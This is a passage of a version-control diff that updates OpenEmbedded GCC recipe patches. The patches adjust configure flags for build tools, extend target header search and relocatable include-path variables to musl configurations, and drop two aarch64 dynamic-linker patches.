+@@ -3387,6 +3389,8 @@ AC_SUBST(AR_FOR_BUILD)
+ AC_SUBST(AS_FOR_BUILD)
+ AC_SUBST(CC_FOR_BUILD)
+ AC_SUBST(CFLAGS_FOR_BUILD)
++AC_SUBST(CPP_FOR_BUILD)
++AC_SUBST(CPPFLAGS_FOR_BUILD)
+ AC_SUBST(CXXFLAGS_FOR_BUILD)
+ AC_SUBST(CXX_FOR_BUILD)
+ AC_SUBST(DLLTOOL_FOR_BUILD)
+Index: gcc-11.2.0/gcc/configure
+===================================================================
+--- gcc-11.2.0.orig/gcc/configure
++++ gcc-11.2.0/gcc/configure
+@@ -12699,7 +12699,7 @@ else
+ CC="${CC_FOR_BUILD}" CFLAGS="${CFLAGS_FOR_BUILD}" \
+ CXX="${CXX_FOR_BUILD}" CXXFLAGS="${CXXFLAGS_FOR_BUILD}" \
+ LD="${LD_FOR_BUILD}" LDFLAGS="${LDFLAGS_FOR_BUILD}" \
+- GMPINC="" CPPFLAGS="${CPPFLAGS} -DGENERATOR_FILE" \
++ GMPINC="" CPPFLAGS="${CPPFLAGS_FOR_BUILD} -DGENERATOR_FILE" \
+ ${realsrcdir}/configure \
+ --enable-languages=${enable_languages-all} \
+ ${enable_obsolete+--enable-obsolete="$enable_obsolete"} \
+Index: gcc-11.2.0/gcc/configure.ac
+===================================================================
+--- gcc-11.2.0.orig/gcc/configure.ac
++++ gcc-11.2.0/gcc/configure.ac
+@@ -2023,7 +2023,7 @@ else
+ CC="${CC_FOR_BUILD}" CFLAGS="${CFLAGS_FOR_BUILD}" \
+ CXX="${CXX_FOR_BUILD}" CXXFLAGS="${CXXFLAGS_FOR_BUILD}" \
+ LD="${LD_FOR_BUILD}" LDFLAGS="${LDFLAGS_FOR_BUILD}" \
+- GMPINC="" CPPFLAGS="${CPPFLAGS} -DGENERATOR_FILE" \
++ GMPINC="" CPPFLAGS="${CPPFLAGS_FOR_BUILD} -DGENERATOR_FILE" \
+ ${realsrcdir}/configure \
+ --enable-languages=${enable_languages-all} \
+ ${enable_obsolete+--enable-obsolete="$enable_obsolete"} \
diff --git a/meta/recipes-devtools/gcc/gcc/0019-Ensure-target-gcc-headers-can-be-included.patch b/meta/recipes-devtools/gcc/gcc/0019-Ensure-target-gcc-headers-can-be-included.patch
index 2797b2c22d..120d5a29b2 100644
--- a/meta/recipes-devtools/gcc/gcc/0019-Ensure-target-gcc-headers-can-be-included.patch
+++ b/meta/recipes-devtools/gcc/gcc/0019-Ensure-target-gcc-headers-can-be-included.patch
@@ -1,4 +1,4 @@
-From 378b752c5d9a3dba4e58cdadf8b4b4f34ea99a76 Mon Sep 17 00:00:00 2001
+From 6f410ed8fb7eee11ba7a25634c2257666b98ef52 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 20 Feb 2015 10:25:11 +0000
Subject: [PATCH] Ensure target gcc headers can be included
@@ -11,20 +11,24 @@ found by gcc with the existing search paths. Add support for
picking up these headers under the sysroot supplied on the gcc
command line in order to resolve this.
+Extend target gcc headers search to musl too
+
Upstream-Status: Pending
Signed-off-by: Paul Eggleton <paul.eggleton@linux.intel.com>
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
- gcc/Makefile.in | 2 ++
- gcc/cppdefault.c | 4 ++++
- 2 files changed, 6 insertions(+)
+ gcc/Makefile.in | 2 ++
+ gcc/config/linux.h | 8 ++++++++
+ gcc/config/rs6000/sysv4.h | 8 ++++++++
+ gcc/cppdefault.c | 4 ++++
+ 4 files changed, 22 insertions(+)
diff --git a/gcc/Makefile.in b/gcc/Makefile.in
-index 480c9366418..011c7ac2db6 100644
+index 59c45c81393..9b17d120aa1 100644
--- a/gcc/Makefile.in
+++ b/gcc/Makefile.in
-@@ -618,6 +618,7 @@ libexecdir = @libexecdir@
+@@ -630,6 +630,7 @@ libexecdir = @libexecdir@
# Directory in which the compiler finds libraries etc.
libsubdir = $(libdir)/gcc/$(real_target_noncanonical)/$(version)$(accel_dir_suffix)
@@ -32,7 +36,7 @@ index 480c9366418..011c7ac2db6 100644
# Directory in which the compiler finds executables
libexecsubdir = $(libexecdir)/gcc/$(real_target_noncanonical)/$(version)$(accel_dir_suffix)
# Directory in which all plugin resources are installed
-@@ -2946,6 +2947,7 @@ CFLAGS-intl.o += -DLOCALEDIR=\"$(localedir)\"
+@@ -3016,6 +3017,7 @@ CFLAGS-intl.o += -DLOCALEDIR=\"$(localedir)\"
PREPROCESSOR_DEFINES = \
-DGCC_INCLUDE_DIR=\"$(libsubdir)/include\" \
@@ -40,11 +44,63 @@ index 480c9366418..011c7ac2db6 100644
-DFIXED_INCLUDE_DIR=\"$(libsubdir)/include-fixed\" \
-DGPLUSPLUS_INCLUDE_DIR=\"$(gcc_gxx_include_dir)\" \
-DGPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT=$(gcc_gxx_include_dir_add_sysroot) \
+diff --git a/gcc/config/linux.h b/gcc/config/linux.h
+index 87efc5f69fe..b525bcd56b3 100644
+--- a/gcc/config/linux.h
++++ b/gcc/config/linux.h
+@@ -165,6 +165,13 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
+ #define INCLUDE_DEFAULTS_MUSL_TOOL
+ #endif
+
++#ifdef GCC_INCLUDE_SUBDIR_TARGET
++#define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
++ { STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET, "GCC", 0, 0, 1, 0},
++#else
++#define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET
++#endif
++
+ #ifdef NATIVE_SYSTEM_HEADER_DIR
+ #define INCLUDE_DEFAULTS_MUSL_NATIVE \
+ { NATIVE_SYSTEM_HEADER_DIR, 0, 0, 0, 1, 2 }, \
+@@ -191,6 +198,7 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
+ INCLUDE_DEFAULTS_MUSL_PREFIX \
+ INCLUDE_DEFAULTS_MUSL_CROSS \
+ INCLUDE_DEFAULTS_MUSL_TOOL \
++ INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
+ INCLUDE_DEFAULTS_MUSL_NATIVE \
+ { GCC_INCLUDE_DIR, "GCC", 0, 1, 0, 0 }, \
+ { 0, 0, 0, 0, 0, 0 } \
+diff --git a/gcc/config/rs6000/sysv4.h b/gcc/config/rs6000/sysv4.h
+index 510abe169c5..0c2bba5ea32 100644
+--- a/gcc/config/rs6000/sysv4.h
++++ b/gcc/config/rs6000/sysv4.h
+@@ -995,6 +995,13 @@ ncrtn.o%s"
+ #define INCLUDE_DEFAULTS_MUSL_TOOL
+ #endif
+
++#ifdef GCC_INCLUDE_SUBDIR_TARGET
++#define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
++ { STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET, "GCC", 0, 0, 1, 0},
++#else
++#define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET
++#endif
++
+ #ifdef NATIVE_SYSTEM_HEADER_DIR
+ #define INCLUDE_DEFAULTS_MUSL_NATIVE \
+ { NATIVE_SYSTEM_HEADER_DIR, 0, 0, 0, 1, 2 }, \
+@@ -1021,6 +1028,7 @@ ncrtn.o%s"
+ INCLUDE_DEFAULTS_MUSL_PREFIX \
+ INCLUDE_DEFAULTS_MUSL_CROSS \
+ INCLUDE_DEFAULTS_MUSL_TOOL \
++ INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
+ INCLUDE_DEFAULTS_MUSL_NATIVE \
+ { GCC_INCLUDE_DIR, "GCC", 0, 1, 0, 0 }, \
+ { 0, 0, 0, 0, 0, 0 } \
diff --git a/gcc/cppdefault.c b/gcc/cppdefault.c
-index af38cc494ea..2f43b88a0c3 100644
+index c503d14fc3f..d54d6ce0076 100644
--- a/gcc/cppdefault.c
+++ b/gcc/cppdefault.c
-@@ -59,6 +59,10 @@ const struct default_include cpp_include_defaults[]
+@@ -64,6 +64,10 @@ const struct default_include cpp_include_defaults[]
/* This is the dir for gcc's private headers. */
{ GCC_INCLUDE_DIR, "GCC", 0, 0, 0, 0 },
#endif
diff --git a/meta/recipes-devtools/gcc/gcc/0020-Don-t-search-host-directory-during-relink-if-inst_pr.patch b/meta/recipes-devtools/gcc/gcc/0020-Don-t-search-host-directory-during-relink-if-inst_pr.patch
index c3baf8b451..bb2a3671f0 100644
--- a/meta/recipes-devtools/gcc/gcc/0020-Don-t-search-host-directory-during-relink-if-inst_pr.patch
+++ b/meta/recipes-devtools/gcc/gcc/0020-Don-t-search-host-directory-during-relink-if-inst_pr.patch
@@ -1,4 +1,4 @@
-From 870e805d705d99d9b9d7dbd09727f9c1d2ad9c1d Mon Sep 17 00:00:00 2001
+From cd09adb1e7f2a7e81a9f595a17c36f24911b90ac Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Tue, 3 Mar 2015 08:21:19 +0000
Subject: [PATCH] Don't search host directory during "relink" if $inst_prefix
diff --git a/meta/recipes-devtools/gcc/gcc/0021-Use-SYSTEMLIBS_DIR-replacement-instead-of-hardcoding.patch b/meta/recipes-devtools/gcc/gcc/0021-Use-SYSTEMLIBS_DIR-replacement-instead-of-hardcoding.patch
deleted file mode 100644
index abee48669d..0000000000
--- a/meta/recipes-devtools/gcc/gcc/0021-Use-SYSTEMLIBS_DIR-replacement-instead-of-hardcoding.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From aba42de763a619355471efd1573561b0cbf51162 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 28 Apr 2015 23:15:27 -0700
-Subject: [PATCH] Use SYSTEMLIBS_DIR replacement instead of hardcoding
- base_libdir
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/config/aarch64/aarch64-linux.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gcc/config/aarch64/aarch64-linux.h b/gcc/config/aarch64/aarch64-linux.h
-index e587e2e9ad6..ddc62895693 100644
---- a/gcc/config/aarch64/aarch64-linux.h
-+++ b/gcc/config/aarch64/aarch64-linux.h
-@@ -21,7 +21,7 @@
- #ifndef GCC_AARCH64_LINUX_H
- #define GCC_AARCH64_LINUX_H
-
--#define GLIBC_DYNAMIC_LINKER "/lib/ld-linux-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
-+#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
-
- #undef MUSL_DYNAMIC_LINKER
- #define MUSL_DYNAMIC_LINKER "/lib/ld-musl-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
diff --git a/meta/recipes-devtools/gcc/gcc/0022-aarch64-Add-support-for-musl-ldso.patch b/meta/recipes-devtools/gcc/gcc/0022-aarch64-Add-support-for-musl-ldso.patch
deleted file mode 100644
index c55b66d4ba..0000000000
--- a/meta/recipes-devtools/gcc/gcc/0022-aarch64-Add-support-for-musl-ldso.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-From d63820a78d92f302410358293546f01c7ad17bd8 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 28 Apr 2015 23:18:39 -0700
-Subject: [PATCH] aarch64: Add support for musl ldso
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/config/aarch64/aarch64-linux.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gcc/config/aarch64/aarch64-linux.h b/gcc/config/aarch64/aarch64-linux.h
-index ddc62895693..b301825313a 100644
---- a/gcc/config/aarch64/aarch64-linux.h
-+++ b/gcc/config/aarch64/aarch64-linux.h
-@@ -24,7 +24,7 @@
- #define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
-
- #undef MUSL_DYNAMIC_LINKER
--#define MUSL_DYNAMIC_LINKER "/lib/ld-musl-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
-+#define MUSL_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-musl-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
-
- #undef ASAN_CC1_SPEC
- #define ASAN_CC1_SPEC "%{%:sanitize(address):-funwind-tables}"
diff --git a/meta/recipes-devtools/gcc/gcc/0023-libcc1-fix-libcc1-s-install-path-and-rpath.patch b/meta/recipes-devtools/gcc/gcc/0023-libcc1-fix-libcc1-s-install-path-and-rpath.patch
index 80c4d2292c..fb4511cc1a 100644
--- a/meta/recipes-devtools/gcc/gcc/0023-libcc1-fix-libcc1-s-install-path-and-rpath.patch
+++ b/meta/recipes-devtools/gcc/gcc/0023-libcc1-fix-libcc1-s-install-path-and-rpath.patch
@@ -1,4 +1,4 @@
-From 3474e16ad4ea8cf4e0e330568e3bc9039e723dce Mon Sep 17 00:00:00 2001
+From 2cfc5ee38b3f5ec1d7965aae0991bcd48b5dc2e6 Mon Sep 17 00:00:00 2001
From: Robert Yang <liezhi.yang@windriver.com>
Date: Sun, 5 Jul 2015 20:25:18 -0700
Subject: [PATCH] libcc1: fix libcc1's install path and rpath
@@ -20,10 +20,10 @@ Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
2 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/libcc1/Makefile.am b/libcc1/Makefile.am
-index c005b0dad4a..ec31d35b7b9 100644
+index f148fdd7aa2..0b6eb8f2855 100644
--- a/libcc1/Makefile.am
+++ b/libcc1/Makefile.am
-@@ -37,8 +37,8 @@ libiberty = $(if $(wildcard $(libiberty_noasan)),$(Wc)$(libiberty_noasan), \
+@@ -40,8 +40,8 @@ libiberty = $(if $(wildcard $(libiberty_noasan)),$(Wc)$(libiberty_noasan), \
$(Wc)$(libiberty_normal)))
libiberty_dep = $(patsubst $(Wc)%,%,$(libiberty))
@@ -35,10 +35,10 @@ index c005b0dad4a..ec31d35b7b9 100644
if ENABLE_PLUGIN
plugin_LTLIBRARIES = libcc1plugin.la libcp1plugin.la
diff --git a/libcc1/Makefile.in b/libcc1/Makefile.in
-index 7104b649026..2103c477468 100644
+index 753d435c9cb..455627b0a3b 100644
--- a/libcc1/Makefile.in
+++ b/libcc1/Makefile.in
-@@ -393,8 +393,8 @@ libiberty = $(if $(wildcard $(libiberty_noasan)),$(Wc)$(libiberty_noasan), \
+@@ -398,8 +398,8 @@ libiberty = $(if $(wildcard $(libiberty_noasan)),$(Wc)$(libiberty_noasan), \
$(Wc)$(libiberty_normal)))
libiberty_dep = $(patsubst $(Wc)%,%,$(libiberty))
diff --git a/meta/recipes-devtools/gcc/gcc/0024-handle-sysroot-support-for-nativesdk-gcc.patch b/meta/recipes-devtools/gcc/gcc/0024-handle-sysroot-support-for-nativesdk-gcc.patch
index dc3e6da65a..b1054fa749 100644
--- a/meta/recipes-devtools/gcc/gcc/0024-handle-sysroot-support-for-nativesdk-gcc.patch
+++ b/meta/recipes-devtools/gcc/gcc/0024-handle-sysroot-support-for-nativesdk-gcc.patch
@@ -1,4 +1,4 @@
-From 702daf2e9cb97337e0e594fcd435b1b61a917d14 Mon Sep 17 00:00:00 2001
+From 354682ad8f71f62643dcd83f64b51b5979615a0c Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 7 Dec 2015 23:39:54 +0000
Subject: [PATCH] handle sysroot support for nativesdk-gcc
@@ -23,6 +23,9 @@ b) Add other paths which need relocation into a .gccrelocprefix section
Upstream-Status: Inappropriate
RP 2015/7/28
+Extend the gccrelocprefix support to musl config too, this ensures
+that gcc will get right bits in SDK installations
+
Signed-off-by: Khem Raj <raj.khem@gmail.com>
Added PREFIXVAR and EXEC_PREFIXVAR to support runtime relocation. Without
@@ -32,19 +35,21 @@ implementation.)
Signed-off-by: Mark Hatle <mark.hatle@kernel.crashing.org>
---
- gcc/c-family/c-opts.c | 4 +--
- gcc/cppdefault.c | 63 ++++++++++++++++++++++++++-----------------
- gcc/cppdefault.h | 13 ++++-----
- gcc/gcc.c | 20 +++++++++-----
- gcc/incpath.c | 12 ++++-----
- gcc/prefix.c | 6 +++--
- 6 files changed, 70 insertions(+), 48 deletions(-)
+ gcc/c-family/c-opts.c | 4 +--
+ gcc/config/linux.h | 24 +++++++--------
+ gcc/config/rs6000/sysv4.h | 24 +++++++--------
+ gcc/cppdefault.c | 63 ++++++++++++++++++++++++---------------
+ gcc/cppdefault.h | 13 ++++----
+ gcc/gcc.c | 20 +++++++++----
+ gcc/incpath.c | 12 ++++----
+ gcc/prefix.c | 6 ++--
+ 8 files changed, 94 insertions(+), 72 deletions(-)
diff --git a/gcc/c-family/c-opts.c b/gcc/c-family/c-opts.c
-index 58ba0948e79..806bbcfb7a5 100644
+index 89e05a4c551..5577383665d 100644
--- a/gcc/c-family/c-opts.c
+++ b/gcc/c-family/c-opts.c
-@@ -1409,8 +1409,8 @@ add_prefixed_path (const char *suffix, incpath_kind chain)
+@@ -1436,8 +1436,8 @@ add_prefixed_path (const char *suffix, incpath_kind chain)
size_t prefix_len, suffix_len;
suffix_len = strlen (suffix);
@@ -55,8 +60,164 @@ index 58ba0948e79..806bbcfb7a5 100644
path = (char *) xmalloc (prefix_len + suffix_len + 1);
memcpy (path, prefix, prefix_len);
+diff --git a/gcc/config/linux.h b/gcc/config/linux.h
+index b525bcd56b3..ba02c013e30 100644
+--- a/gcc/config/linux.h
++++ b/gcc/config/linux.h
+@@ -129,53 +129,53 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
+ * Unfortunately, this is mostly duplicated from cppdefault.c */
+ #if DEFAULT_LIBC == LIBC_MUSL
+ #define INCLUDE_DEFAULTS_MUSL_GPP \
+- { GPLUSPLUS_INCLUDE_DIR, "G++", 1, 1, \
++ { GPLUSPLUS_INCLUDE_DIRVAR, "G++", 1, 1, \
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 }, \
+- { GPLUSPLUS_TOOL_INCLUDE_DIR, "G++", 1, 1, \
++ { GPLUSPLUS_TOOL_INCLUDE_DIRVAR, "G++", 1, 1, \
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 1 }, \
+- { GPLUSPLUS_BACKWARD_INCLUDE_DIR, "G++", 1, 1, \
++ { GPLUSPLUS_BACKWARD_INCLUDE_DIRVAR, "G++", 1, 1, \
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 },
+
+ #ifdef LOCAL_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_LOCAL \
+- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 2 }, \
+- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 0 },
++ { LOCAL_INCLUDE_DIRVAR, 0, 0, 1, 1, 2 }, \
++ { LOCAL_INCLUDE_DIRVAR, 0, 0, 1, 1, 0 },
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_LOCAL
+ #endif
+
+ #ifdef PREFIX_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_PREFIX \
+- { PREFIX_INCLUDE_DIR, 0, 0, 1, 0, 0},
++ { PREFIX_INCLUDE_DIRVAR, 0, 0, 1, 0, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_PREFIX
+ #endif
+
+ #ifdef CROSS_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_CROSS \
+- { CROSS_INCLUDE_DIR, "GCC", 0, 0, 0, 0},
++ { CROSS_INCLUDE_DIRVAR, "GCC", 0, 0, 0, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_CROSS
+ #endif
+
+ #ifdef TOOL_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_TOOL \
+- { TOOL_INCLUDE_DIR, "BINUTILS", 0, 1, 0, 0},
++ { TOOL_INCLUDE_DIRVAR, "BINUTILS", 0, 1, 0, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_TOOL
+ #endif
+
+ #ifdef GCC_INCLUDE_SUBDIR_TARGET
+ #define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
+- { STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET, "GCC", 0, 0, 1, 0},
++ { STANDARD_STARTFILE_PREFIX_2VAR, "GCC", 0, 0, 1, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET
+ #endif
+
+ #ifdef NATIVE_SYSTEM_HEADER_DIR
+ #define INCLUDE_DEFAULTS_MUSL_NATIVE \
+- { NATIVE_SYSTEM_HEADER_DIR, 0, 0, 0, 1, 2 }, \
+- { NATIVE_SYSTEM_HEADER_DIR, 0, 0, 0, 1, 0 },
++ { NATIVE_SYSTEM_HEADER_DIRVAR, 0, 0, 0, 1, 2 }, \
++ { NATIVE_SYSTEM_HEADER_DIRVAR, 0, 0, 0, 1, 0 },
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_NATIVE
+ #endif
+@@ -200,7 +200,7 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
+ INCLUDE_DEFAULTS_MUSL_TOOL \
+ INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
+ INCLUDE_DEFAULTS_MUSL_NATIVE \
+- { GCC_INCLUDE_DIR, "GCC", 0, 1, 0, 0 }, \
++ { GCC_INCLUDE_DIRVAR, "GCC", 0, 1, 0, 0 }, \
+ { 0, 0, 0, 0, 0, 0 } \
+ }
+ #endif
+diff --git a/gcc/config/rs6000/sysv4.h b/gcc/config/rs6000/sysv4.h
+index 0c2bba5ea32..313a8de4417 100644
+--- a/gcc/config/rs6000/sysv4.h
++++ b/gcc/config/rs6000/sysv4.h
+@@ -959,53 +959,53 @@ ncrtn.o%s"
+ /* Include order changes for musl, same as in generic linux.h. */
+ #if DEFAULT_LIBC == LIBC_MUSL
+ #define INCLUDE_DEFAULTS_MUSL_GPP \
+- { GPLUSPLUS_INCLUDE_DIR, "G++", 1, 1, \
++ { GPLUSPLUS_INCLUDE_DIRVAR, "G++", 1, 1, \
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 }, \
+- { GPLUSPLUS_TOOL_INCLUDE_DIR, "G++", 1, 1, \
++ { GPLUSPLUS_TOOL_INCLUDE_DIRVAR, "G++", 1, 1, \
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 1 }, \
+- { GPLUSPLUS_BACKWARD_INCLUDE_DIR, "G++", 1, 1, \
++ { GPLUSPLUS_BACKWARD_INCLUDE_DIRVAR, "G++", 1, 1, \
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 },
+
+ #ifdef LOCAL_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_LOCAL \
+- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 2 }, \
+- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 0 },
++ { LOCAL_INCLUDE_DIRVAR, 0, 0, 1, 1, 2 }, \
++ { LOCAL_INCLUDE_DIRVAR, 0, 0, 1, 1, 0 },
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_LOCAL
+ #endif
+
+ #ifdef PREFIX_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_PREFIX \
+- { PREFIX_INCLUDE_DIR, 0, 0, 1, 0, 0},
++ { PREFIX_INCLUDE_DIRVAR, 0, 0, 1, 0, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_PREFIX
+ #endif
+
+ #ifdef CROSS_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_CROSS \
+- { CROSS_INCLUDE_DIR, "GCC", 0, 0, 0, 0},
++ { CROSS_INCLUDE_DIRVAR, "GCC", 0, 0, 0, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_CROSS
+ #endif
+
+ #ifdef TOOL_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_TOOL \
+- { TOOL_INCLUDE_DIR, "BINUTILS", 0, 1, 0, 0},
++ { TOOL_INCLUDE_DIRVAR, "BINUTILS", 0, 1, 0, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_TOOL
+ #endif
+
+ #ifdef GCC_INCLUDE_SUBDIR_TARGET
+ #define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
+- { STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET, "GCC", 0, 0, 1, 0},
++ { STANDARD_STARTFILE_PREFIX_2VAR, "GCC", 0, 0, 1, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET
+ #endif
+
+ #ifdef NATIVE_SYSTEM_HEADER_DIR
+ #define INCLUDE_DEFAULTS_MUSL_NATIVE \
+- { NATIVE_SYSTEM_HEADER_DIR, 0, 0, 0, 1, 2 }, \
+- { NATIVE_SYSTEM_HEADER_DIR, 0, 0, 0, 1, 0 },
++ { NATIVE_SYSTEM_HEADER_DIRVAR, 0, 0, 0, 1, 2 }, \
++ { NATIVE_SYSTEM_HEADER_DIRVAR, 0, 0, 0, 1, 0 },
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_NATIVE
+ #endif
+@@ -1030,7 +1030,7 @@ ncrtn.o%s"
+ INCLUDE_DEFAULTS_MUSL_TOOL \
+ INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
+ INCLUDE_DEFAULTS_MUSL_NATIVE \
+- { GCC_INCLUDE_DIR, "GCC", 0, 1, 0, 0 }, \
++ { GCC_INCLUDE_DIRVAR, "GCC", 0, 1, 0, 0 }, \
+ { 0, 0, 0, 0, 0, 0 } \
+ }
+ #endif
diff --git a/gcc/cppdefault.c b/gcc/cppdefault.c
-index 2f43b88a0c3..6b6be04686c 100644
+index d54d6ce0076..784a92a0c24 100644
--- a/gcc/cppdefault.c
+++ b/gcc/cppdefault.c
@@ -35,6 +35,30 @@
@@ -90,7 +251,7 @@ index 2f43b88a0c3..6b6be04686c 100644
const struct default_include cpp_include_defaults[]
#ifdef INCLUDE_DEFAULTS
= INCLUDE_DEFAULTS;
-@@ -42,38 +66,38 @@ const struct default_include cpp_include_defaults[]
+@@ -42,17 +66,17 @@ const struct default_include cpp_include_defaults[]
= {
#ifdef GPLUSPLUS_INCLUDE_DIR
/* Pick up GNU C++ generic include files. */
@@ -110,6 +271,9 @@ index 2f43b88a0c3..6b6be04686c 100644
+ { GPLUSPLUS_BACKWARD_INCLUDE_DIRVAR, "G++", 1, 1,
GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 },
#endif
+ #ifdef GPLUSPLUS_LIBCXX_INCLUDE_DIR
+@@ -62,23 +86,23 @@ const struct default_include cpp_include_defaults[]
+ #endif
#ifdef GCC_INCLUDE_DIR
/* This is the dir for gcc's private headers. */
- { GCC_INCLUDE_DIR, "GCC", 0, 0, 0, 0 },
@@ -138,7 +302,7 @@ index 2f43b88a0c3..6b6be04686c 100644
/* A multilib suffix needs adding if different multilibs use
different headers. */
#ifdef SYSROOT_HEADERS_SUFFIX_SPEC
-@@ -85,33 +109,24 @@ const struct default_include cpp_include_defaults[]
+@@ -90,33 +114,24 @@ const struct default_include cpp_include_defaults[]
#endif
#ifdef CROSS_INCLUDE_DIR
/* One place the target system's headers might be. */
@@ -179,7 +343,7 @@ index 2f43b88a0c3..6b6be04686c 100644
/* This value is set by cpp_relocated at runtime */
const char *gcc_exec_prefix;
diff --git a/gcc/cppdefault.h b/gcc/cppdefault.h
-index a681264f75e..5e10a2fa140 100644
+index fd3c655db1c..20669ac427d 100644
--- a/gcc/cppdefault.h
+++ b/gcc/cppdefault.h
@@ -33,7 +33,8 @@
@@ -191,8 +355,8 @@ index a681264f75e..5e10a2fa140 100644
+
const char *const component; /* The component containing the directory
(see update_path in prefix.c) */
- const char cplusplus; /* Only look here if we're compiling C++. */
-@@ -50,17 +51,13 @@ struct default_include
+ const char cplusplus; /* When this is non-zero, we should only
+@@ -55,17 +56,13 @@ struct default_include
};
extern const struct default_include cpp_include_defaults[];
@@ -214,7 +378,7 @@ index a681264f75e..5e10a2fa140 100644
subdirectory of the actual installation. */
extern const char *gcc_exec_prefix;
diff --git a/gcc/gcc.c b/gcc/gcc.c
-index c87f603955f..535d5c3bb65 100644
+index 8737bae5353..aa6fbe43965 100644
--- a/gcc/gcc.c
+++ b/gcc/gcc.c
@@ -252,6 +252,8 @@ FILE *report_times_to_file = NULL;
@@ -226,7 +390,7 @@ index c87f603955f..535d5c3bb65 100644
/* Nonzero means pass the updated target_system_root to the compiler. */
static int target_system_root_changed;
-@@ -526,6 +528,7 @@ or with constant text in a single argument.
+@@ -568,6 +570,7 @@ or with constant text in a single argument.
%G process LIBGCC_SPEC as a spec.
%R Output the concatenation of target_system_root and
target_sysroot_suffix.
@@ -234,7 +398,7 @@ index c87f603955f..535d5c3bb65 100644
%S process STARTFILE_SPEC as a spec. A capital S is actually used here.
%E process ENDFILE_SPEC as a spec. A capital E is actually used here.
%C process CPP_SPEC as a spec.
-@@ -1499,10 +1502,10 @@ static const char *gcc_libexec_prefix;
+@@ -1621,10 +1624,10 @@ static const char *gcc_libexec_prefix;
gcc_exec_prefix is set because, in that case, we know where the
compiler has been installed, and use paths relative to that
location instead. */
@@ -249,7 +413,7 @@ index c87f603955f..535d5c3bb65 100644
/* For native compilers, these are well-known paths containing
components that may be provided by the system. For cross
